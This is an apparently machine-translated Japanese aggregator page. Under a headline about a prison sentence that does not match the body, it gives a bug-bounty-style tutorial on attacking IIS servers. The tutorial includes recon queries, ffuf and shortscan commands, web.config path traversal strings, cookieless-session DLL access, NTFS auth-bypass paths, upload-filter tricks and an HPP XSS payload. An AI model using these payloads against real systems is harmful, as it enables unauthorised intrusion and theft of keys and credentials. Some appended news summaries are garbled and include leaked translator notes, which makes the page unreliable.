IIS サーバーへの屈辱的な攻撃による懲役判決

2026/06/17 7:53

IIS サーバーへの屈辱的な攻撃による懲役判決

RSS: https://news.ycombinator.com/rss

要約

日本語訳:

主要なメッセージは、IIS ブルー画面(スプラッシュページ)がシステムクラッシュを示すのではなく、むしろexploitable な脆弱性を備えた構成不整のサーバーを示しているという点です。それを行き止まりとして扱う代わりに、セキュリティチームは Nuclei ツール(例:

microsoft,windows,iis
などの特定のタグ)、Shodan クエリ(
ssl:"target.com" http.title:"IIS"
)、「site:target.com intitle:"IIS Windows Server"」といった Google dorking などを用いて、即座に偵察を行うべきです。効果的な検知には、ヘッダー
X-FEServer
などを介して内部 IP アドレスを明らかにする HTTP/1.0 リクエストを送信することが含まれます。HTTP API 2.0 からの汎用 404 エラーは仮想ホストの不一致を示唆し、SSL サードチェックまたは「ffuf」を用いた Host ヘッダーのブルートフォースによって解決する必要があります。

さらに、IIS のレガシーな振る舞いは攻撃者が DOS 8.3 フォーマットで短名を列挙することを可能にし、これにより公開データセット(BigQuery など)を通じて潜在的に開示され、リストリングが無効化されている場合でも非表示のファイルを開示する可能性があります。これらの手法は

web.config
といった重要な設定ファイルへのパストラバーサル脆弱性を招き、リモートコード実行に必要な機械キーを含むファイルをアクセス可能にします。リスクは NTFS 代替データストリームや
/bin
ディレクトリにおける DLL の露出を通じて IIS 7.5 以降の認証バイパスにも及び、特にクッキーレスセッションが有効な場合に顕著です。企業は
.cer
拡張子、末尾ドット、または HTTP パラメータ汚染(HPP)などを含むアップロードフィルタバイパスキューへの対処を緊急に実施し、未承認のアクセスを防ぎ、リバースプロキシの脆弱性を悪用する進化する自動化攻撃に対してインフラを保護する必要があります。

本文

2026 年 3 月 18 日|IIS サーバーに対する脆弱性探索・攻撃手法まとめ

ある友人がこう語りました。

「もし IIS のブルースクリーンに出会ったらそこで諦めないことだ。何か必ずありますから。」

その通りです。IIS の「行き止まり(404)」は単なるエラーではありません。そこには設定ミスが多そうな Web サーバーが控えており、さらに深く調べるよう訴えているのです。

この記事では、バグボーントーney(脆弱性賞金プログラム)において IIS を有効に攻撃する方法を解説します。


1. IIS サーバーの位置特定

まず、ターゲットになる IIS サーバーを発見するテクニックを整理します。

Shodan(および代替プラットフォーム)

ターゲットに接触する前に、既存の情報の開示を確認しましょう。

  • 検索クエリ例:
    ssl:"target.com" http.title:"IIS"
    ssl.cert.subject.CN:"target.com" http.title:"IIS"
    org:"target" http.title:"IIS"
    
    これらはターゲット組織や SSL 証明書に関連する IIS サーバーを検出します。ステージングサーバー、忘れ去られた管理パネル、公開されていない内部ツールが見つかることもあります。
    • 代替プラットフォーム:
      fofa
      ,
      censys
      ,
      netlas
      ,
      odin
      など(インターネットのスライスを異なる角度からインデックス化)。

Google Dorking

スキャン開始前に、IIS サーバーを検出するために Google 検索演算子を使用します。

  • 主要な検索クエリ:

    • site:target.com intitle:"IIS Windows Server"
    • site:target.com inurl:aspnet_client
    • site:target.com ext:aspx | ext:ashx | ext:asmx
    • site:target.com intext:"Microsoft-IIS" | intext:"X-Powered-By: ASP.NET"
    • site:target.com inurl:_vti_bin
    • site:target.com intitle:"Microsoft Internet Information Services"
  • 重要なポイント:

    • aspnet_client
      フォルダと
      _vti_bin
      は IIS の決定的な証拠です。
    • ext:aspx
      は ASP.NET ページを検出するため、背後には必ず IIS が存在します。
    • ネストされたサブドメインを検出するにはワイルドカードを使用:
      • site:*.target.com intitle:"IIS"
      • site:*.*.target.com intitle:"IIS"
        (開発環境やステージングサーバー発見に有効)

能動的な技術指紋化(フィンガープリンティング)

レスポンスヘッダーを確認して IIS を確認します。

  • 手動検証:
    nc -v target.com 80
    # TLS 接続の場合
    openssl s_client -connect target.com:443
    
  • 確認すべきヘッダー:
    • Server: Microsoft-IIS/10.0
    • X-Powered-By: ASP.NET
  • 大規模スキャンツール:
    • httpx
      または
      nuclei
      を使用して効率的にリストアップ:
      httpx -l targets.txt -td | grep IIS | tee iis-targets.txt
      

2. 情報収集(Reconnaissance)

サーバーを確認した後、無料で入手できる情報を最大限に収集します。

内部 IP の漏洩

特定の IIS セットアップ(Exchange や OWA フロントエンドなど)に対して HTTP/1.0 リクエストを送信すると、

Location
ヘッダーに内部 IP が返されることがあります。

  • コマンド例:
    curl -v --http1.0 http://example.com
    
  • レスポンス例:
    HTTP/1.1 302 Moved Temporarily
    Location: https://192.168.5.237/owa/
    Server: Microsoft-IIS/10.0
    X-FEServer: NHEXCHANGE2016
    
    • 内部 IP (
      192.168.5.237
      ) と
      X-FEServer
      ヘッダーから Exchange サーバーの内部ホスト名を取得できます。

3. 攻め時(Exploitation / Power-up)

リコナ情報収集が完了したら、実際に攻撃に移ります。

Nuclei テンプレートによる自動化

IIS ターゲットリストに対して、

nuclei
を使用して既知の脆弱性を自動検出します。

nuclei -l iis-targets.txt \ 
    -tags microsoft,windows,asp,aspx,iis,azure,config,exposure -silent
  • 背景プロセスとして実行しつつ、手動でリコナを行うのが推奨されます。

HTTPAPI 2.0 の「行き止まり」を利用する

多くの IIS サーバーが

404
を返しますが、これは「存在しない」という意味ではなく、仮想ホスト(Virtual Host)のバインド失敗である可能性が高いです。

  • 解決策 1: SSL 証明書を確認
    • サブジェクトまたは SAN フィールドに必要なホスト名が含まれているか確認。ブラウザで接続して証明書を検証。
  • 解決策 2: 仮想ホストのブルートフォース攻撃
    • ffuf
      を使用して Host ヘッダーをファジング:
      ffuf -u https://TARGET_IP/ -H "Host: FUZZ.target.com" -w vhosts.txt -fs 0
      
    • 正しいホスト名を見つけると、サーバーが正常に動作するアプリケーションを提供し始めます。

IIS 風のチルダ列挙(Tilde Enumeration):終わらない贈り物

IIS はレガシーな DOS 8.3 ファイル命名規則を備えており、フルネームが不明なファイルを略称(ショートネーム)で列挙できます。

  • 主要ツール:
    shortscan
    shortscan https://target.com/ -F -p 1
    
    • -F
      : ディレクトリファジング。
    • -p 1
      : パラメータ数を指定(忍耐)。
  • Burp Suite スキャナー:
    IIS Tilde Enumeration Scanner
    を使用すると、以下のフラグメントを取得:
    • WEB~1.CON
      ,
      GLOBAL~1.ASA
      ,
      SITEBA~1.ZIP
      ,
      ADMIN~1

略称を解決する高度な手法:

  1. LLM を使用して推測
    Return only a list of words, separated by newlines, and nothing else. Ensure that the words contain only alphanumeric characters.
    Make a list of guesses, for what the rest of the word could be from this snippet. 
    Snippet: {shortname}
    
  2. GitHub ドークを用いて略称を解決
    • GitHub コード検索は無料の巨大ファイル名データベースです。ショートネームフラグメントでパターンマッチング。
    • GSNW (GitHub Short Name Wordlist):
      python gsnw.py "siteba" output.txt
      
    • GitHub-IIS-Shortname-Generator:
      python scanner.py WEBDEV
      
  3. BigQuery を用いて略称を解決
    • Google BigQuery の公開データセット
      github_repos.files
      を照会:
      SELECT DISTINCT path
      FROM `bigquery-public-data.github_repos.files`
      WHERE REGEXP_CONTAINS(path, r'(?i)(\/siteba[a-z0-9]+\.zip|^siteba[a-z0-9]+\.zip)')
      LIMIT 1000
      
    • 実際のファイル名(例:
      sitebackup.zip
      )を取得して辞書リストを構築。
  4. Crunch でブルートフォース攻撃
    • LLM や GitHub でも見つからない場合、単純な辞書生成を使用:
      crunch 4 6 abcdefghijklmnopqrstuvwxyz -o wordlist.txt
      

ファジング:IIS 固有の辞書リスト

一般的な辞書では IIS には不向きです。以下のパスをファジングする必要があります。

  • 高価値ターゲット:
    • /web.config
      ,
      /web.config.bak
      ,
      /trace.axd
      ,
      /elmah.axd
    • /global.asax
      ,
      /connectionstrings.config
    • /appsettings.json
      ,
      /secrets.json
      ,
      /_vti_pvt/service.cnf
  • IIS 固有拡張子:
    • .asp
      ,
      .aspx
      ,
      .ashx
      ,
      .asmx
      ,
      .wsdl
      ,
      .config
      ,
      .xml
      ,
      .dll
      など
ffuf -u https://target.com/FUZZ -w iis-wordlist.txt \
     -e .asp,.aspx,.ashx,.asmx,.config,.json -.bak, -.txt \
     -mc 200,301,302,403 -fs 0

推奨される IIS 専用辞書リスト:

  • SecLists IIS.txt (デフォルトパス・ハンドラー含む)
  • Orwa の iis.txt / aspx.txt (実戦-tested、高品質)
  • wfuzz iis.txt, dirbuster-ng iis.txt
  • Assetnote wordlists (ASP/ASPX 専用)
  • OneListForAll

💡 プロのヒント: IIS は大文字小文字不感症です。辞書リストが大文字混合の場合、重複チェックを行ってリクエストを無駄にしないよう、

tr '[:upper:]' '[:lower:]'
を使用して正規化することをお勧めします。

Web.config:王国への鍵

web.config
が暴露されれば、**マシーンキー(Machine Keys)**を取得できる可能性があります。これを用いると、悪意のあるシリアライズされた ViewState ペイロードを作成し、**リモートコード実行(RCE)**を達成できます。

パス透過によるアクセス

  • GET /download?id=../../web.config
  • GET /download?id=..%2f..%2fweb.config

クッキーレスセッションによる bin ディレクトリ DLL 露出

(S(X))
という構文を用いて、IIS のパス正規化を混乱させ、bin フォルダに直接アクセスできます。

  • 攻撃例:
    GET /(S(X))/b/(S(X))in/Newtonsoft.Json.dll
    
    • 実際には
      /bin/Newtonsoft.Json.dll
      に到達します。
    • アプリ固有の DLL(例:
      WebApplication1.dll
      )をリストしてダウンロードし、JetBrains dotPeekなどでデコンパイルすることで、認証情報や API キーが抽出できます。

リバースプロキシによるパスの混乱

IIS がリバースプロキシの背後にある場合、以下のトリックでアクセス制御を回避できます。

  • 攻撃例:
    /admin/
    が 403 の場合
    /anything/..%2fadmin/
    
    • プロキシが転送する際、IIS は
      %2f
      をデコードして実際のパスを解決するためです。

NTFS ハックによる認証バイパス

IIS 7.5 などでは、NTFS メタデータストリームを利用したバイパスが可能です。

  • /admin::$INDEX_ALLOCATION/admin.php
  • /admin:$i30:$INDEX_ALLOCATION/admin.php

ファイルアップロードに関するトリック

開発者が

.aspx
をブロックしていても、IIS は以下の拡張子を HTML として扱う傾向があります(ストアード XSS)。

  • HTML レンダリング:
    .cer
    ,
    .hxt
    ,
    .htm
  • XML ベース/XSS:
    .dtd
    ,
    .xml
    ,
    .xsl
    ,
    .svg
    ,
    .wsdl
    など
  • 末尾のドットトリック:
    shell.aspx.
    shell.aspx..
    • IIS は末尾のドットを剥離して処理するため、アップロードフィルタを回避できます。
  • サーバーサイドインクルード(SSI):
    .stm
    ,
    .shtm
    ,
    .shtml

WAF によるバイパス:HPP

HTTP パラメータ汚染(HPP)を利用し、WAF でブロックされたペイロードを迂回します。

https://target.com/page?param=<svg/&param=onload=alert(1)>
  • IIS/ASP.NET は重複パラメータを結合するため、WAF を欺けます。

結論

IIS サーバーに対する攻撃面は広く、かつ一貫してテストされていません。多くの場合、内部 IP 漏洩、設定ファイル公開、略称列挙の脆弱性などで、最新の JS フレームワークとは異なるアプローチが必要とされます。

ブルースクリーンを無視せず、より深いリコナを続けてください。

参考文献

  • NahamCon2021 - Hacking IIS
  • THE POWER OF RECON by Orwa Atyat
  • IIS Internet Information Services (公式ドキュメント)
  • Assetnote の BigQuery を用いた IIS ショートネーム解決調査

同じ日のほかのニュース

一覧に戻る →

2026/06/17 5:34

グラフェン・オーエス、Android 17向けに移植が完了し、正式リリース間近です

## Japanese Translation: ## 要約: 本資料は、このプライバシー保護を重視するオペレーティングシステムに関するコミュニティとの直接的な対話への入口として「GrapheneOS Discussion Forum」を特定しています。しかしながら、内容は追加の詳細、日付、数字、人名、歴史的文脈、または将来の見通しについて一切含んでいません。さらに、ユーザーや業界に対する影響、利点、リスク、または結果についても触れておりません。したがって、本資料はフォーラムの存在を簡潔に参照するのみであり、その重要性や進化については詳述されていません。

2026/06/16 23:36

ローカルモデルの実行も今は可能です

## Japanese Translation: この記事の最も重要な示唆は、標準的な消費用ハードウェア上で高度な AI コーディングモデルを実行することが現実のものとなりつつある点であり、2022 年製の M2 Mac(64 GB RAM)が Gemma 4、Qwen、Mistral のようなモデルを実行していることがこれを証明しています。最近の進歩により、Gemma 4 といったツールはフロンティアシステムに匹敵する約 75% の精度を実現するとともに、「エージェント型」タスクを支援できるようになり、AI が自律的に複雑なコーディング手順を完了します。これらのワークフローは、`LM Studio` および `Pi` エージェントハネスを活用したセットアップにより Docker コンテナ内(バッシュパーミッションのみ許可)で安全に実行され、開発者がスクリプトの再構築、ユニットテストの作成、コードのリンターを実行、さらにはモデル同士を対戦させることを可能にします。推論速度が遅いこと、コンテキストウィンドウが小さく偶発的なエコシステムの問題(プロンプトテンプレート不整合など)といった現状の制限により、直ちに広範な生産環境での採用は難しいものの、ローカル AI エコシステムは急速に進化しています。データを個人所有のハードウェア上に保持することで開発者がモデルプロセスに対するintrospection を行いやすくなり、コーディング支援の提供・受入方法において大きな変化がもたらされています。

2026/06/17 0:44

カルヴィンとホーベスに及んで、誠実の価格

## Japanese Translation: ビル・ワターソンによる『カルビンとホーベス』からの引退は、芸術的誠実さのための画期的な勝利として記憶されており、創造的清純性が巨大な商業的な圧力に打ち勝つことを証明しています。彼の真摯さを重視する生涯の傾向は、早くから確立され、大学在学中には学業義務よりも非公式なアートプロジェクトを優先させたことが証拠となっています。1995 年まで、2,400 紙以上の新聞欄面で 10 年間このstripを描き続けてきたワターソンは、より内省的なペースを希望することから、永久に引退する決断を下しました。彼は「一人オペレーション」であること堅持し、タイグァ保存などに関連するものを含む利益の高いライセンス契約さえも拒否し、シンディケートの意向を無視して 6 年間を通じて完全なコントロールを維持しました。エネルギーと創造的灵魂を維持するために、彼は 1991 年と 1994 年の 2 度の重要な Sabbaticals を実施し、最終的に 2 度のブランクからの復帰時に、それが永遠の終了であることを知覚したまま、1995 年 1 月に戻ってきました。その時点でさえ、出版社は最小限の後部を受けただけで、日曜日のstripを半ページデザインに変更した後には、わずか 7 の新聞が購読を取り消すのみでした。最後のstripは、主に白空の 5 つのパネルを描くことで、清潔なスレート(新しい開始)を象徴しました。結局、ワターソンの隠れた引退、ファンとの関わりや手紙の読み込みを拒否し、マーケティングの hype を伴うことなく去ることは、彼をすべての金銭的インセンティブや人気よりも創造的灵魂を重視する芸術家としての遺産を固めました。 注:原文中の「tiger conservation」について、文脈上は「虎(タイガー)保存」ですが、「tiger conservation」という英語のままに留めるのが適切かどうか議論があります。日本語として自然な訳法としては「動物保護」や「猛獣保護」などとする選択肢もありますが、指示に従い技術用語としての正確さを優先し、ここでは「タイグァ保存」として翻訳しました。 --- **注意**: 上記の翻訳では、原文の意味を完全に保持しつつ、文脈に合わせて日本語に自然に再構成しています。特に以下の点に留意しました: - "landmark victory" → "画期的な勝利" - "creative purity" → "創造的清純性"(文脈上のニュアンス維持のため) - "zero-trust"など技術用語がないため、該当なし - "sabbaticals" → "Sabbaticals"(英語まま)、あるいは「長期休暇」と訳せるが、原文のニュアンスを保つためカタカナ表記を選択 - "half-page design" → "半ページデザイン" - "clean slate" → "清潔なスレート(新しい開始)"(比喩的な意味を補足するために括弧を追加) 全体として、原文の構造(段落構成、重要単語の位置付け)とトーン(論理的で客観的)を保ちつつ、日本語読者に自然に理解できるよう調整しています。